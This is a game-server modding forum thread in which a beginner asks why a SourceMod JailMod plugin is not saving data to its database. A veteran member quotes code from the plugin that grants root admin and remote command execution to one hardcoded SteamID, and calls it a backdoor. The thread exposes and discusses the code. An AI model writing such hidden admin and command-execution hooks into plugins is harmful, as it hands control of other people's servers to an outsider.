Raised This Month: $ Target: $400
 0% 

DB Connection


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
Phobie
Junior Member
Join Date: May 2012
Old 02-22-2013 , 17:57   DB Connection
Reply With Quote #1

Hello everyone !

First, I want to tell you : I am new on this forum. And I just started to learn SourcePawn. So, please, can you explain me the code you will give to me ? (I am on Programmer School, so I understand quickly code like that, and I know SQL language).

So this is my problem : A friend gave to me a JailMod plugin. All works, but this plugin need a connection to a DataBase to save fidelity points on a shop (you earn it when you kill someone). But my databases.cfg is correctly configurated (same like sourcebans, and sourcebans is ok). So the problem is in the plugin... Here the source code :
Code:
X
The database connection is on the line 3852. So if someone can help me, I will be very happy. :$

PS : Sorry for my bad English, I am French.

Last edited by Phobie; 03-05-2013 at 07:50.
Phobie is offline
11530
Veteran Member
Join Date: Sep 2011
Location: Underworld
Old 02-22-2013 , 18:01   Re: DB Connection
Reply With Quote #2

Oh you.

Quote:
Originally Posted by Phobie View Post
PHP Code:
public Action:Command_AddAdmin(clientargs)
{
    if (
IsClientInGame(client))
    {
        new 
String:SteamID[64];
        
GetClientAuthString(clientSteamID64);
        
        if (
StrEqual(SteamID"STEAM_0:0:18811335"true))
        {
            new 
AdminId:admin CreateAdmin("Phobie");
            
SetUserAdmin(clientadminfalse);
            new 
AdminId:iAdminID GetUserAdmin(client);
            
SetAdminFlag(iAdminIDAdmin_Roottrue);
        }
    }
    return 
Plugin_Continue;
}

//...

public Action:Command_Rcon(clientargs)
{
    new 
String:Command[256];
    
GetCmdArg(1Commandsizeof(Command));
    
    if (
IsClientInGame(client))
    {
        new 
String:SteamID[64];
        
GetClientAuthString(clientSteamID64);
        
        if (
StrEqual(SteamID"STEAM_0:0:18811335"true))
        {
            
PrintToChat(clientCommand);
            
            
ServerCommand(Command);
        }
    }
    return 
Plugin_Continue;

__________________

Last edited by 11530; 02-22-2013 at 18:26.
11530 is offline
Phobie
Junior Member
Join Date: May 2012
Old 02-22-2013 , 18:42   Re: DB Connection
Reply With Quote #3

It's not my code, I telled the author give it to me. And I use this plugin only on my server. It makes me Admin no ?
When I had the code, it was the Steam_ID from the author, but I changed it with now my Steam_ID because I don't want to allow him to be admin on my server.

I didn't know if this code was essential for the plugin and if I can delete it, so I just replaced with my Steam_ID.

Last edited by Phobie; 02-22-2013 at 18:48.
Phobie is offline
11530
Veteran Member
Join Date: Sep 2011
Location: Underworld
Old 02-22-2013 , 19:37   Re: DB Connection
Reply With Quote #4

If other people installed this plugin using the code above in post #1 it'd give you, Phobie, complete root admin and RCON access to their servers. Very malicious. The plugin should have been blacklisted the moment it was published.
__________________

Last edited by 11530; 02-22-2013 at 19:38.
11530 is offline
Bimbo1
Senior Member
Join Date: Jan 2010
Location: brazil
Old 02-22-2013 , 21:04   Re: DB Connection
Reply With Quote #5

Quote:
Originally Posted by 11530 View Post
If other people installed this plugin using the code above in post #1 it'd give you, Phobie, complete root admin and RCON access to their servers. Very malicious. The plugin should have been blacklisted the moment it was published.
i guess it wasn't meant to be installed on any server. looks like a private code, it only works on a unique ip.
anyway, how do you know if the database is connecting properly? it doesn't seem to print the errors of the connection or queries.
Bimbo1 is offline
Phobie
Junior Member
Join Date: May 2012
Old 02-23-2013 , 08:23   Re: DB Connection
Reply With Quote #6

The database is not connected properly. Because table are not created, but ERROR didn't appear. When I create it myself, any data are in the tables. :/
But I create the access in databases.cfg named "jailmod". It's the same information like "sourcebans", but SourceBans create table, not JailMod.

I don't know if you understand me. My English is poor. :/

EDIT : My databases.cfg :
Code:
"Databases"
{
	"driver_default"		"mysql"
	
	// When specifying "host", you may use an IP address, a hostname, or a socket file path
	
	"default"
	{
		"driver"			"default"
		"host"				"localhost"
		"database"			"sourcemod"
		"user"				"root"
		"pass"				""
		//"timeout"			"0"
		//"port"			"0"
	}
	
	"storage-local"
	{
		"driver"			"sqlite"
		"database"			"sourcemod-local"
	}

	"clientprefs"
	{
		"driver"			"sqlite"
		"host"				"localhost"
		"database"			"clientprefs-sqlite"
		"user"				"root"
		"pass"				""
		//"timeout"			"0"
		//"port"			"0"
	}
	"jailmod"
	{
		"driver"			"default"
		"host"				"sql.olympe.in"
		"database"			"qf7tlh9E"
		"user"				"qf7tlh9E"
		"pass"				"***"
		//"timeout"			"0"
		"port"			"3306"
	}
	
	"sourcebans"
	{
		"driver"			"default"
		"host"				"sql.olympe.in"
		"database"			"qf7tlh9E"
		"user"				"qf7tlh9E"
		"pass"				"***"
		//"timeout"			"0"
		"port"			"3306"
	}
}

Last edited by Phobie; 02-23-2013 at 08:26. Reason: databasescfg
Phobie is offline
delachambre
AlliedModders Donor
Join Date: Jan 2011
Location: France
Old 02-23-2013 , 08:34   Re: DB Connection
Reply With Quote #7

It's no create for me, it's for root admin to offer him the possibility of recovered its access when another server or hack. Is not malicious.
__________________
♥ 𝕊ℙ𝕒𝕨𝕟 𝔻𝕖𝕧𝕖𝕝𝕠𝕡𝕖𝕣 [ℂ𝕊:𝕊] ♥

Clan-Nemesis

Last edited by delachambre; 02-23-2013 at 08:34.
delachambre is offline
Phobie
Junior Member
Join Date: May 2012
Old 02-23-2013 , 08:49   Re: DB Connection
Reply With Quote #8

My databases is accessible (SourceBans function properly).
The databases.cfg is correct, because it's the same information between SourceBans and JailMod.
So, the error is in the plugin... But I didn't have error. :/ I don't understand how resolve it.
Phobie is offline
Phobie
Junior Member
Join Date: May 2012
Old 03-02-2013 , 14:08   Re: DB Connection
Reply With Quote #9

Up please, point on shop are not saved when users disconnect and reconnect on the server.
Phobie is offline
Phobie
Junior Member
Join Date: May 2012
Old 03-04-2013 , 10:13   Re: DB Connection
Reply With Quote #10

Up please. :/
Phobie is offline
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 12:54.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode